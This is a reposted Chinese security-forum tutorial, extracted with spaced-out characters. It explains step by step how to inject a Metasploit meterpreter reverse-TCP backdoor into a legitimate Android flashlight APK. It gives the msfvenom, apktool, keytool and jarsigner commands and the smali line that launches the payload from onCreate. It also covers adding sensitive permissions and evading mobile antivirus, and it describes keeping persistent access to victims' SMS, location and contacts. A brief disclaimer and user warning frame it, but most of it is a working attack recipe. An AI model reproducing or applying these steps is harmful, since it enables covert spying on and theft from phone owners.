搜索

[11304] 2017-05-03_如何手动注入Payload后门到安卓APK文件并维持访问

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2017-05-03_如何手动注入Payload后门到安卓APK文件并维持访问 如 何 手 动 注 入 P a y l o a d 后 门 到 安 卓 A P K 文 件 并 维 持 访 问 原 创   永 生   F r e e B u f   2 0 1 7 - 0 5 - 0 3 * 本 文 原 创 作 者 ： 永 生 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 声 明 ： 本 文 内 容 可 能 具 有 攻 击 性 ， 只 供 安 全 研 究 和 警 示 作 用 ， 请 勿 用 于 非 法 用 途 ， 非 法 使 用 后 果 与 我 无 关 。 本 人 小 白 一 枚 ， 前 段 时 间 看 到 @ 鸢 尾   大 神 写 的 文 章 《 如 何 用 k w e t z a 给 安 卓 应 用 加 后 门 》 。 大 神 自 己 写 的 自 动 化 注 入 工 具 ， 看 过 程 也 并 不 困 难 ， 我 就 产 生 了 自 己 手 动 注 入 的 想 法 ， 折 腾 了 一 天 终 于 搞 定 了 。 当 然 已 经 有 有 好 多 的 自 动 化 注 入 工 具 可 以 使 用 了 ， 我 先 总 结 一 下 ： 1 . b a c k d o o r - a p k   : h t t p s : / / g i t h u b . c o m / d a n a - a t - c p / b a c k d o o r - a p k 2 .     s p a d e :     h t t p s : / / g i t h u b . c o m / s u r a j - r o o t / s p a d e 3 .   a p k - e m b e d - p a y l o a d . r b : h t t p s : / / g i s t . g i t h u b . c o m / S k u l l T e c h / a 6 2 d 1 0 6 b 5 5 5 6 2 c c 1 a b 8 8 4 : 当 然 还 有 @ 鸢 尾 大 神 的 k w e t z a 。 欢 迎 补 充 哈 ！ ！ ！ 好 了 ， 开 始 正 文 。 先 捋 一 下 思 路 ， 把 P A Y L O A D 小 马 注 入 到 一 个 目 标 a p k 文 件 中 ， 关 键 是 要 找 到 目 标 A P K 的 入 口 ， 并 把 启 动 p a y l o a d 小 马 的 代 码 添 加 进 去 ， 随 目 标 A P K 一 起 启 动 ， 从 而 实 现 监 听 手 机 的 目 的 。 当 然 前 提 是 a p k 文 件 可 逆 。 这 里 使 用 注 入 目 标 a p k 文 件 ： （ 百 度 ） 手 电 筒 — - 小 米 应 用 市 场 下 载 的 顺 着 思 路 ， 我 们 先 用 m s f 生 成 小 马 。 S t e p   1 : m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 本 机 I P     L P O R T = 监 听 端 口 号   - o   应 用 名 . a p k
我 们 可 以 看 到 ， p a y l o a d 小 马 只 有 8 . 8   K B   ( 8 , 8 4 3   字 节 ) ， 非 常 小 ， 可 谓 短 小 精 悍 。 S t e p   2 : 反 编 译 p a y l o a d 小 马 h o u m e n . a p k 和 手 电 筒 . a p k a p k t o o l   d   / r o o t / h o u m e n . a p k a p k t o o l   d   / r o o t / 手 电 筒 - 1 . 0 . 3 _ 4 . a p k 我 们 得 到 了 反 编 译 之 后 的 文 件 。 S t e p   3   : 开 始 寻 找 手 电 筒 - 1 . 0 . 3 _ 4 . a p k 文 件 的 入 口 ， 在 手 电 筒 - 1 . 0 . 3 _ 4 的 M a n i f e s t . x m l 文 件 中 查 找 M a i n 和 L a u n c h 关 键 词 ， 定 位 到 所 对 应 的 启 动 s m a i l 文 件 搜 索 M a i n 和 L a u n c h 关 键 词
好 了 ， 直 接 找 到 c o m / b a i d u / f l a s h l i a g h t / M a i n A c t i v e t y . s m a i l 文 件 , 终 于 到 关 键 时 候 了 ， 我 们 要 在 手 电 筒 启 动 的 a c t i v e t y 中 添 加 启 动 P A Y L O A D 小 马 的 代 码 。 直 接 搜 索 o n C r e a t 函 数 ， 找 到 b u n d l e 对 象 ， 你 并 在 下 面 添 加 启 动 p a y l o a d 代 码 ： i n v o k e - s t a t i c   { p 0 } ,   L c o m / m e t a s p l o i t / s t a g e / P a y l o a d ; - > s t a r t ( L a n d r o i d / c o n t e n t / C o n t e x t ; ) V v 点 击 保 存 之 后 呢 ， 我 们 还 要 把 刚 才 反 编 译 的 p a y l o a d 文 件 中 的 s m a i l 代 码 复 制 过 来 ， 把 p a y l o a d 的 s m a i l / c o m / m e t a s p l o i t 文 件 复 制 到 手 电 筒 的 s m a i l / c o m / 目 录 下 。   O K ， 现 在 基 本 已 经 大 功 告 成 了 。 直 接 保 存 退 出 就 好 。 接 下 来 呢 ， 我 们 还 有 一 个 问 题 ， 就 是 权 限 的 问 题 ， p a y l o a d 小 马 作 为 监 听 程 序 ， 肯 定 少 不 了 有 很 多 权 限 ， 而 手 电 筒 作 为 一 个 简 单 的 工 具 ， 权 限 肯 定 很 少 ， 因 此 要 想 使 监 听 功 能 更 齐 全 ， 我 们 有 必 要 补 充 一 下 权 限 。 首 先 对 比 h o u m e n . a p k 和 手 电 筒 . a p k 的 权 限 清 单 ， 把 手 电 筒 没 有 的 权 限 从 h o u m e n . a p k 直 接 复 制 过 来 ， 当 然 了 ， 注 意 不 要 复 制 重 复 了 。
大 家 注 意 看 我 们 所 添 加 的 权 限 ， 都 是 一 些 敏 感 的 ， 容 易 泄 露 个 人 信 息 的 高 危 权 限 。 一 会 我 们 要 测 试 。 现 在 保 存 退 出 ， 剩 下 的 就 是 回 编 译 签 名 了 。 回 编 译 ： a p k t o o l   b   / r o o t / 手 电 筒 - 1 . 0 . 3 _ 4 生 成 K E Y S T O R E : k e y t o o l   - g e n k e y   - v   - k e y s t o r e   m y k e y . k e y s t o r e   - a l i a s   a l i a s _ n a m e   - k e y a l g   R S A   - k e y s i z e   1 0 2 4   - v a l i d i t y   2 2 2 2 2 签 名 ： j a r s i g n e r   - k e y s t o r e   m y k e y . k e y s t o r e   N e t f l i x . a p k   a l i a s _ n a m e   - s i g a l g   M D 5 w i t h R S A   - d i g e s t a l g   S H A 1 终 于 完 工 了 ， 我 们 把 生 成 的 应 用 装 到 手 机 ， 并 打 开 m s f 控 制 台 ， 设 置 好 监 听 参 数 后 ， 等 待 上 线 。
﹁ 成 功 上 线 ﹂ 完 事 之 后 呢 ， 接 上 面 的 权 限 问 题 ， 既 然 我 们 添 加 了 那 么 多 高 危 权 限 ， 手 机 杀 软 能 查 出 来 吗 ？     我 用 我 的 手 机 进 行 了 实 测 ：

上 面 的 3 6 0 和 腾 讯 手 机 管 家 实 测 扫 描 结 果 ， 竟 然 都 没 有 报 毒 ， 想 想 好 可 怕 啊 。
因 此 提 醒 大 家 ， 自 己 用 的 手 机 就 别 R O O T 了 ， 普 通 应 用 就 不 要 给 太 多 权 限 了 ， 哎 ， 还 是 老 梗 ， 说 的 再 多 ， 依 然 有 人 不 听 欸 。 写 到 这 呢 ， 本 来 就 完 了 ， 但 是 还 有 一 个 问 题 ， 就 是 p a y l o a d 小 马 有 个 缺 点 ， 就 是 启 动 后 ， 我 在 x i a o m i 5 实 测 ， 大 概 一 分 钟 就 掉 线 ， 很 让 人 恼 火 啊 ， 如 果 目 标 手 机 一 直 不 再 点 击 这 个 应 用 ， 我 们 就 干 瞪 眼 了 。 并 且 这 还 是 一 个 低 频 的 应 用 ， 好 几 天 也 不 知 会 不 会 用 一 回 。 怎 么 解 决 呢 ， 我 找 了 好 久 ， 终 于 找 到 个 方 法 ， 当 然 不 是 我 原 创 啊 ， 我 们 拿 来 用 。 就 是 用 一 个 s h 脚 本 ， 关 联 小 马 ， 让 其 隔 段 时 间 启 动 一 回 。 脚 本 如 下 ： 如 何 使 用 呢 ， 我 们 需 要 在 启 动 监 听 时 ， 把 脚 本 上 传 到 手 机 ， 然 后 运 行 即 可 ：
这 个 过 程 一 定 要 快 ， 应 为 p a y l o a d 随 时 会 断 开 ， 要 抓 紧 时 间 。 运 行 脚 本 后 呢 ， 等 待 一 会 ， 稳 定 之 后 就 可 以 持 续 维 持 访 问 了 。 到 此 呢 ， 你 就 可 以 持 续 的 访 问 了 。 查 看 短 信 ， 定 位 ， 读 取 联 系 人 ， 等 都 可 以 实 现 。 啰 里 啰 唆 的 ， 写 到 这 ， 终 于 写 完 了 。 小 白 能 力 有 限 ， 纯 属 业 余 ， 大 神 勿 喷 ！ ！ ！ S o , 送 个 视 频 给 那 些 在 努 力 的 小 伙 伴 ， j u s t   d o   i t .
视 频 地 址 ： h t t p s : / / v . q q . c o m / x / p a g e / z 0 3 4 2 a c x 2 u 3 . h t m l * 本 文 原 创 作 者 ： 永 生 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理